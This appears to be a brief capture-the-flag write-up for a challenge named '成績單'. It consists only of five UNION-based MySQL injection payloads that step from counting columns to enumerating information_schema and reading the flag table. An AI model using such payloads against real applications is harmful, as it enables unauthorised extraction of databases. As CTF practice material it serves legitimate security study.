成績單

託帕發表於2018-08-15

0' union select 1,2,3,4#


0' union select 1,database(),3,4#   


0' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf_flag'#


0' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g'#


0' union select 1,group_concat(skctf_flag),3,4 from skctf_flag.fl4g#

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